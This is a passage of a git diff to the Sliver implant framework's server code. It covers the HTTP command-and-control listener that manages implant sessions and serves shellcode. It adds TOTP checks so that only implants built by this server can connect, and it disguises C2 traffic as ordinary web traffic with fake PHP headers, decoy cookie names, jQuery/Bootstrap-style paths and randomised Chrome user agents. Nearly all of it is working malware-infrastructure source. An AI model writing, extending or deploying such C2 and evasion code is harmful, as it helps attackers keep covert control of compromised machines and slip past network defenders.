index := insecureRand.Intn(len(cookies))
|
||||
return cookies[index]
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) getPoweredByHeader() string {
|
||||
if s.poweredBy == "" {
|
||||
s.poweredBy = fmt.Sprintf("PHP/7.%d.%d",
|
||||
insecureRand.Intn(3), insecureRand.Intn(17))
|
||||
switch insecureRand.Intn(1) {
|
||||
case 0:
|
||||
s.poweredBy = fmt.Sprintf("PHP/8.0.%d", insecureRand.Intn(10))
|
||||
default:
|
||||
s.poweredBy = fmt.Sprintf("PHP/7.%d.%d", insecureRand.Intn(4), insecureRand.Intn(20))
|
||||
}
|
||||
}
|
||||
return s.poweredBy
|
||||
}
|
||||
@@ -167,6 +194,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
|
||||
active: &map[string]*HTTPSession{},
|
||||
mutex: &sync.RWMutex{},
|
||||
},
|
||||
EnforceOTP: true,
|
||||
}
|
||||
server.HTTPServer = &http.Server{
|
||||
Addr: conf.Addr,
|
||||
@@ -257,17 +285,17 @@ func (s *SliverHTTPC2) router() *mux.Router {
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .jsp = start
|
||||
// .php = session
|
||||
// .js = poll
|
||||
// 1.phtml / .php = start / session
|
||||
// .js = poll
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
|
||||
router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
router.HandleFunc("/{rpath:.*\\.jsp$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
router.HandleFunc("/{rpath:.*\\.phtml$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
|
||||
router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
|
||||
|
||||
// Can't force the user agent on the stager payload
|
||||
// Request from msf stager payload will look like:
|
||||
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
|
||||
@@ -291,18 +319,64 @@ func (s *SliverHTTPC2) router() *mux.Router {
|
||||
|
||||
// This filters requests that do not have a valid nonce
|
||||
func filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
|
||||
qNonce := req.URL.Query().Get("_")
|
||||
nonce, err := strconv.Atoi(qNonce)
|
||||
nonce, err := getNonceFromURL(req.URL)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce '%s' ignore request", qNonce)
|
||||
httpLog.Warnf("Invalid nonce '%d' ignore request", nonce)
|
||||
return false // NaN
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func getNonceFromURL(reqURL *url.URL) (int, error) {
|
||||
qNonce := ""
|
||||
for arg, values := range reqURL.Query() {
|
||||
if len(arg) == 1 {
|
||||
qNonce = digitsOnly(values[0])
|
||||
break
|
||||
}
|
||||
}
|
||||
if qNonce == "" {
|
||||
httpLog.Warnf("Nonce not found in request", qNonce)
|
||||
return 0, ErrMissingNonce
|
||||
}
|
||||
nonce, err := strconv.Atoi(qNonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
|
||||
return 0, err
|
||||
}
|
||||
httpLog.Debugf("Request nonce = %d", nonce)
|
||||
_, _, err = encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Invalid nonce (%d) ignore request", nonce)
|
||||
return false // Not a valid encoder
|
||||
httpLog.Warnf("Invalid nonce (%s)", err)
|
||||
return 0, err
|
||||
}
|
||||
return true
|
||||
return nonce, nil
|
||||
}
|
||||
|
||||
func getOTPFromURL(reqURL *url.URL) (string, error) {
|
||||
otpCode := ""
|
||||
for arg, values := range reqURL.Query() {
|
||||
if len(arg) == 2 {
|
||||
otpCode = digitsOnly(values[0])
|
||||
break
|
||||
}
|
||||
}
|
||||
if otpCode == "" {
|
||||
httpLog.Warnf("OTP not found in request", otpCode)
|
||||
return "", ErrMissingNonce
|
||||
}
|
||||
httpLog.Debugf("Request OTP = %s", otpCode)
|
||||
return otpCode, nil
|
||||
}
|
||||
|
||||
func digitsOnly(value string) string {
|
||||
var buf bytes.Buffer
|
||||
for _, char := range value {
|
||||
if unicode.IsDigit(char) {
|
||||
buf.WriteRune(char)
|
||||
}
|
||||
}
|
||||
return buf.String()
|
||||
}
|
||||
|
||||
func loggingMiddleware(next http.Handler) http.Handler {
|
||||
@@ -357,8 +431,23 @@ func default404Handler(resp http.ResponseWriter, req *http.Request) {
|
||||
// [ HTTP Handlers ] ---------------------------------------------------------------
|
||||
|
||||
func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
qNonce := req.URL.Query().Get("_")
|
||||
nonce, err := strconv.Atoi(qNonce)
|
||||
httpLog.Info("Public key request")
|
||||
if s.EnforceOTP {
|
||||
otpCode, err := getOTPFromURL(req.URL)
|
||||
if err != nil {
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
valid, err := cryptography.ValidateTOTP(otpCode)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to validate OTP %s", err)
|
||||
}
|
||||
if !valid {
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
}
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
|
||||
if err != nil {
|
||||
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.Conf.Domain, err)
|
||||
@@ -371,11 +460,27 @@ func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Info("Start session request")
|
||||
if s.EnforceOTP {
|
||||
otpCode, err := getOTPFromURL(req.URL)
|
||||
if err != nil {
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
valid, err := cryptography.ValidateTOTP(otpCode)
|
||||
if err != nil {
|
||||
httpLog.Warnf("Failed to validate OTP %s", err)
|
||||
}
|
||||
if !valid {
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// Note: these are the c2 certificates NOT the certificates/keys used for SSL/TLS
|
||||
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
|
||||
if err != nil {
|
||||
httpLog.Info("Failed to fetch rsa private key")
|
||||
httpLog.Warn("Failed to fetch rsa private key")
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
@@ -386,14 +491,18 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
privateKeyBlock, _ := pem.Decode([]byte(privateKeyPEM))
|
||||
privateKey, _ := x509.ParsePKCS1PrivateKey(privateKeyBlock.Bytes)
|
||||
|
||||
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
|
||||
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
body, _ := ioutil.ReadAll(req.Body)
|
||||
body, err := ioutil.ReadAll(req.Body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to read body %s", err)
|
||||
resp.WriteHeader(404)
|
||||
}
|
||||
data, err := encoder.Decode(body)
|
||||
if err != nil {
|
||||
httpLog.Errorf("Failed to decode body %s", err)
|
||||
@@ -403,7 +512,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
|
||||
sessionInitData, err := cryptography.RSADecrypt(data, privateKey)
|
||||
if err != nil {
|
||||
httpLog.Info("RSA decryption failed")
|
||||
httpLog.Error("RSA decryption failed")
|
||||
resp.WriteHeader(404)
|
||||
return
|
||||
}
|
||||
@@ -432,7 +541,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
}
|
||||
http.SetCookie(resp, &http.Cookie{
|
||||
Domain: s.Conf.Domain,
|
||||
Name: sessionCookieName,
|
||||
Name: s.getCookieName(),
|
||||
Value: httpSession.ID,
|
||||
Secure: true,
|
||||
HttpOnly: true,
|
||||
@@ -441,7 +550,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
|
||||
httpLog.Info("Session request")
|
||||
httpSession := s.getHTTPSession(req)
|
||||
if httpSession == nil {
|
||||
httpLog.Infof("No session with id %#v", httpSession.ID)
|
||||
@@ -449,7 +558,7 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
|
||||
return
|
||||
}
|
||||
|
||||
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, err := encoders.EncoderFromNonce(nonce)
|
||||
if err != nil {
|
||||
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
|
||||
@@ -489,7 +598,9 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
|
||||
handler.(func(*core.Session, []byte))(httpSession.Session, envelope.Data)
|
||||
}
|
||||
resp.WriteHeader(200)
|
||||
|
||||
// TODO: Return random data?
|
||||
|
||||
}
|
||||
|
||||
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
@@ -501,7 +612,7 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
|
||||
}
|
||||
|
||||
// We already know we have a valid nonce because of the middleware filter
|
||||
nonce, _ := strconv.Atoi(req.URL.Query().Get("_"))
|
||||
nonce, _ := getNonceFromURL(req.URL)
|
||||
_, encoder, _ := encoders.EncoderFromNonce(nonce)
|
||||
select {
|
||||
case envelope := <-httpSession.Session.Send:
|
||||
@@ -556,13 +667,10 @@ func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request)
|
||||
|
||||
func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
|
||||
for _, cookie := range req.Cookies() {
|
||||
if cookie.Name == sessionCookieName {
|
||||
httpSession := s.HTTPSessions.Get(cookie.Value)
|
||||
if httpSession != nil {
|
||||
httpSession.Session.UpdateCheckin()
|
||||
return httpSession
|
||||
}
|
||||
return nil
|
||||
httpSession := s.HTTPSessions.Get(cookie.Value)
|
||||
if httpSession != nil {
|
||||
httpSession.Session.UpdateCheckin()
|
||||
return httpSession
|
||||
}
|
||||
}
|
||||
return nil // No valid cookie names
|
||||
File renamed without changes.
File renamed without changes.
@@ -0,0 +1,302 @@
|
||||
package configs
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
)
|
||||
|
||||
const (
|
||||
httpC2ConfigFileName = "http-c2.json"
|
||||
chromeBaseVer = 89
|
||||
)
|
||||
|
||||
// HTTPC2Config - Parent config file struct for implant/server
|
||||
type HTTPC2Config struct {
|
||||
ImplantConfig *HTTPC2ImplantConfig `json:"implant_config"`
|
||||
ServerConfig *HTTPC2ServerConfig `json:"server_config"`
|
||||
}
|
||||
|
||||
// GenerateUserAgent - Generate a user-agent depending on OS/Arch
|
||||
func (h *HTTPC2Config) GenerateUserAgent(goos string, goarch string) string {
|
||||
return h.generateChromeUserAgent(goos, goarch)
|
||||
}
|
||||
|
||||
func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) string {
|
||||
if h.ImplantConfig.UserAgent == "" {
|
||||
switch goos {
|
||||
case "windows":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
case "linux":
|
||||
switch goarch {
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
case "darwin":
|
||||
switch goarch {
|
||||
case "arm64":
|
||||
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
|
||||
case "amd64":
|
||||
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
return h.ImplantConfig.UserAgent
|
||||
}
|
||||
|
||||
// Default is a generic Windows/Chrome
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
|
||||
}
|
||||
|
||||
// ChromeVer - Generate a random Chrome user-agent
|
||||
func (h *HTTPC2Config) ChromeVer() string {
|
||||
return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
|
||||
}
|
||||
|
||||
// RandomImplantConfig - Randomly generate a config
|
||||
func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
|
||||
return &HTTPC2ImplantConfig{
|
||||
UserAgent: h.ImplantConfig.UserAgent,
|
||||
|
||||
MaxFiles: h.ImplantConfig.MaxFiles,
|
||||
MaxPaths: h.ImplantConfig.MaxPaths,
|
||||
|
||||
CssFiles: h.ImplantConfig.RandomCssFiles(),
|
||||
CssPaths: h.ImplantConfig.RandomCssPaths(),
|
||||
|
||||
JsFiles: h.ImplantConfig.RandomJsFiles(),
|
||||
JsPaths: h.ImplantConfig.RandomJsPaths(),
|
||||
|
||||
TxtFiles: h.ImplantConfig.RandomTxtFiles(),
|
||||
TxtPaths: h.ImplantConfig.RandomTxtPaths(),
|
||||
|
||||
PngFiles: h.ImplantConfig.RandomPngFiles(),
|
||||
PngPaths: h.ImplantConfig.RandomPngPaths(),
|
||||
|
||||
PhpFiles: h.ImplantConfig.RandomPhpFiles(),
|
||||
PhpPaths: h.ImplantConfig.RandomPhpPaths(),
|
||||
}
|
||||
}
|
||||
|
||||
// HTTPC2ServerConfig - Server configuration options
|
||||
type HTTPC2ServerConfig struct {
|
||||
Headers []string `json:"headers"`
|
||||
Cookies []string `json:"cookies"`
|
||||
}
|
||||
|
||||
// HTTPC2ImplantConfig - Implant configuration options
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .css = start
|
||||
// .php = session
|
||||
// .js = poll
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
type HTTPC2ImplantConfig struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
URLParameters []string `json:"url_parameters"`
|
||||
Headers []string `json:"headers"`
|
||||
|
||||
MaxFiles int `json:"max_files"`
|
||||
MinFiles int `json:"min_files"`
|
||||
MaxPaths int `json:"max_paths"`
|
||||
MinPaths int `json:"min_paths"`
|
||||
|
||||
// CSS files and paths
|
||||
CssFiles []string `json:"css_files"`
|
||||
CssPaths []string `json:"css_paths"`
|
||||
|
||||
// JS files and paths
|
||||
JsFiles []string `json:"js_files"`
|
||||
JsPaths []string `json:"js_paths"`
|
||||
|
||||
// Txt files and paths
|
||||
TxtFiles []string `json:"txt_files"`
|
||||
TxtPaths []string `json:"txt_paths"`
|
||||
|
||||
// Png files and paths
|
||||
PngFiles []string `json:"png_files"`
|
||||
PngPaths []string `json:"png_paths"`
|
||||
|
||||
// Php files and paths
|
||||
PhpFiles []string `json:"php_files"`
|
||||
PhpPaths []string `json:"php_paths"`
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomCssFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.CssFiles, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomCssPaths() []string {
|
||||
return h.randomSample(h.CssPaths, h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomJsFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.JsFiles, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomJsPaths() []string {
|
||||
return h.randomSample(h.JsPaths, h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomTxtFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.TxtFiles, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomTxtPaths() []string {
|
||||
return h.randomSample(h.TxtPaths, h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomPngFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.PngFiles, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomPngPaths() []string {
|
||||
return h.randomSample(h.PngPaths, h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomPhpFiles() []string {
|
||||
min := h.MinFiles
|
||||
if min < 1 {
|
||||
min = 1
|
||||
}
|
||||
return h.randomSample(h.PhpFiles, min, h.MaxFiles)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) RandomPhpPaths() []string {
|
||||
return h.randomSample(h.PhpPaths, h.MinPaths, h.MaxPaths)
|
||||
}
|
||||
|
||||
func (h *HTTPC2ImplantConfig) randomSample(values []string, min int, max int) []string {
|
||||
count := insecureRand.Intn(len(values))
|
||||
if count < min {
|
||||
count = min
|
||||
}
|
||||
if max < count {
|
||||
count = max
|
||||
}
|
||||
sample := []string{}
|
||||
for i := 0; len(sample) < count; i++ {
|
||||
index := (count + i) % len(values)
|
||||
sample = append(sample, values[index])
|
||||
}
|
||||
return sample
|
||||
}
|
||||
|
||||
var (
|
||||
httpC2ConfigLog = log.NamedLogger("config", "http-c2")
|
||||
|
||||
defaultHTTPC2Config = &HTTPC2Config{
|
||||
ServerConfig: &HTTPC2ServerConfig{
|
||||
Cookies: []string{"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS"},
|
||||
},
|
||||
ImplantConfig: &HTTPC2ImplantConfig{
|
||||
UserAgent: "", // Blank string is rendered as randomized platform user-agent
|
||||
MaxFiles: 8,
|
||||
MinFiles: 2,
|
||||
MaxPaths: 8,
|
||||
MinPaths: 2,
|
||||
|
||||
CssFiles: []string{"bootstrap.css", "bootstrap.min.css", "vendor.css"},
|
||||
CssPaths: []string{"css", "styles", "style", "stylesheets", "stylesheet"},
|
||||
|
||||
JsFiles: []string{"bootstrap.js", "bootstrap.min.js", "jquery.min.js", "jquery.js"},
|
||||
JsPaths: []string{"js", "umd", "assets", "bundle", "bundles", "scripts", "script", "javascripts", "javascript"},
|
||||
|
||||
TxtFiles: []string{"robots.txt", "sample.txt", "readme.txt", "example.txt"},
|
||||
TxtPaths: []string{"static", "www", "assets", "text", "docs", "sample"},
|
||||
|
||||
PngFiles: []string{"favicon.png", "sample.png", "example.png"},
|
||||
PngPaths: []string{"static", "www", "assets", "images", "icons"},
|
||||
|
||||
PhpFiles: []string{"login.php", "signin.php", "api.php", "samples.php", "rpc.php"},
|
||||
PhpPaths: []string{"php", "api", "upload", "actions", "rest", "v1", "async"},
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
// GetHTTPC2ConfigPath - File path to http-c2.json
|
||||
func GetHTTPC2ConfigPath() string {
|
||||
appDir := assets.GetRootAppDir()
|
||||
httpC2ConfigPath := path.Join(appDir, "configs", httpC2ConfigFileName)
|
||||
return httpC2ConfigPath
|
||||
}
|
||||
|
||||
// GetHTTPC2Config - Get the current HTTP C2 config
|
||||
func GetHTTPC2Config() *HTTPC2Config {
|
||||
configPath := GetHTTPC2ConfigPath()
|
||||
if _, err := os.Stat(configPath); os.IsNotExist(err) {
|
||||
err = generateDefaultConfig(configPath)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
|
||||
return defaultHTTPC2Config
|
||||
}
|
||||
}
|
||||
data, err := ioutil.ReadFile(configPath)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
|
||||
return defaultHTTPC2Config
|
||||
}
|
||||
config := &HTTPC2Config{}
|
||||
err = json.Unmarshal(data, config)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
|
||||
return defaultHTTPC2Config
|
||||
}
|
||||
return config
|
||||
}
|
||||
|
||||
func generateDefaultConfig(saveTo string) error {
|
||||
data, err := json.MarshalIndent(defaultHTTPC2Config, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(saveTo, data, 0600)
|
||||
}
|
||||
@@ -36,7 +36,7 @@ var (
|
||||
sessions: map[uint32]*Session{},
|
||||
mutex: &sync.RWMutex{},
|
||||
}
|
||||
hiveID = uint32(0)
|
||||
rollingSessionID = uint32(0)
|
||||
|
||||
// ErrUnknownMessageType - Returned if the implant did not understand the message for
|
||||
// example when the command is not supported on the platform
|
||||
@@ -211,8 +211,8 @@ func (s *sessions) Remove(sessionID uint32) {
|
||||
|
||||
// NextSessionID - Returns an incremental nonce as an id
|
||||
func NextSessionID() uint32 {
|
||||
newID := hiveID + 1
|
||||
hiveID++
|
||||
newID := rollingSessionID + 1
|
||||
rollingSessionID++
|
||||
return newID
|
||||
}
|
||||
|
||||
|
||||
@@ -30,6 +30,14 @@ import (
|
||||
"crypto/sha256"
|
||||
"errors"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -38,11 +46,15 @@ const (
|
||||
|
||||
// GCMNonceSize - 96 bit nonces for GCM
|
||||
GCMNonceSize = 12
|
||||
|
||||
// TOTPDigits - Number of digits in the TOTP
|
||||
TOTPDigits = 8
|
||||
TOTPPeriod = uint(30)
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrInvalidKeyLength - Invalid key length
|
||||
ErrInvalidKeyLength = errors.New("Invalid length")
|
||||
ErrInvalidKeyLength = errors.New("invalid length")
|
||||
)
|
||||
|
||||
// AESKey - 256 bit key
|
||||
@@ -136,3 +148,56 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
// TOTPOptions - Customized totp validation options
|
||||
func TOTPOptions() totp.ValidateOpts {
|
||||
return totp.ValidateOpts{
|
||||
Digits: TOTPDigits,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: TOTPPeriod,
|
||||
Skew: uint(1),
|
||||
}
|
||||
}
|
||||
|
||||
// TOTPServerSecret - Get the server-wide totp secret value, the goal of the totp
|
||||
// is for the implant to prove it was generated by this server. To that end we simply
|
||||
// use a server-wide secret and ignore issuers/accounts. In order to bypass this check
|
||||
// you'd have to extract the totp secret from a binary generated by the server.
|
||||
func TOTPServerSecret() (string, error) {
|
||||
totpSecretPath := path.Join(assets.GetRootAppDir(), "totp")
|
||||
if _, err := os.Stat(totpSecretPath); os.IsNotExist(err) {
|
||||
return totpGenerateSecret(totpSecretPath)
|
||||
} else {
|
||||
data, err := ioutil.ReadFile(totpSecretPath)
|
||||
return string(data), err
|
||||
}
|
||||
}
|
||||
|
||||
// ValidateTOTP - Validate a TOTP code
|
||||
func ValidateTOTP(code string) (bool, error) {
|
||||
secret, err := TOTPServerSecret()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
valid, err := totp.ValidateCustom(code, secret, time.Now().UTC(), TOTPOptions())
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return valid, nil
|
||||
}
|
||||
|
||||
func totpGenerateSecret(saveTo string) (string, error) {
|
||||
otpSecret, err := totp.Generate(totp.GenerateOpts{
|
||||
Issuer: "foo",
|
||||
AccountName: "bar",
|
||||
Digits: TOTPDigits,
|
||||
Algorithm: otp.AlgorithmSHA256,
|
||||
Period: TOTPPeriod,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
secret := otpSecret.Secret()
|
||||
err = ioutil.WriteFile(saveTo, []byte(secret), 0600)
|
||||
return secret, err
|
||||
}
|
||||
@@ -25,6 +25,7 @@ package db
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/gofrs/uuid"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
@@ -33,6 +34,18 @@ var (
|
||||
ErrRecordNotFound = gorm.ErrRecordNotFound
|
||||
)
|
||||
|
||||
// ImplantConfigByID - Fetch implant build by name
|
||||
func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
|
||||
config := models.ImplantConfig{}
|
||||
err := Session().Where(&models.ImplantConfig{
|
||||
ID: uuid.FromStringOrNil(id),
|
||||
}).First(&config).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &config, err
|
||||
}
|
||||
|
||||
// ImplantBuilds - Return all implant builds
|
||||
func ImplantBuilds() ([]*models.ImplantBuild, error) {
|
||||
builds := []*models.ImplantBuild{}
|
||||
|
||||
@@ -34,8 +34,12 @@ type ImplantBuild struct {
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
|
||||
Name string `gorm:"unique;"`
|
||||
// Checksum stores the MD5 sum of an implant binary
|
||||
Checksum string
|
||||
|
||||
// Checksums stores of the implant binary
|
||||
MD5 string
|
||||
SHA1 string
|
||||
SHA256 string
|
||||
|
||||
// Burned indicates whether the implant
|
||||
// has been seen on threat intel platforms
|
||||
Burned bool
|
||||
@@ -68,7 +72,6 @@ type ImplantConfig struct {
|
||||
GOARCH string
|
||||
|
||||
// Standard
|
||||
// Name string
|
||||
CACert string
|
||||
Cert string
|
||||
Key string
|
||||
@@ -127,6 +130,8 @@ func (ic *ImplantConfig) BeforeCreate(tx *gorm.DB) (err error) {
|
||||
// ToProtobuf - Convert ImplantConfig to protobuf equiv
|
||||
func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
config := &clientpb.ImplantConfig{
|
||||
ID: ic.ID.String(),
|
||||
|
||||
GOOS: ic.GOOS,
|
||||
GOARCH: ic.GOARCH,
|
||||
|
||||
|
||||
@@ -35,6 +35,8 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/gogo"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
@@ -480,6 +482,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
config.Cert = string(sliverCert)
|
||||
config.Key = string(sliverKey)
|
||||
|
||||
otpSecret, err := cryptography.TOTPServerSecret()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// Generate wg Keys as needed
|
||||
if config.WGc2Enabled {
|
||||
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
|
||||
@@ -492,6 +499,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
config.WGServerPubKey = serverPubKey
|
||||
}
|
||||
|
||||
err = ImplantConfigSave(config)
|
||||
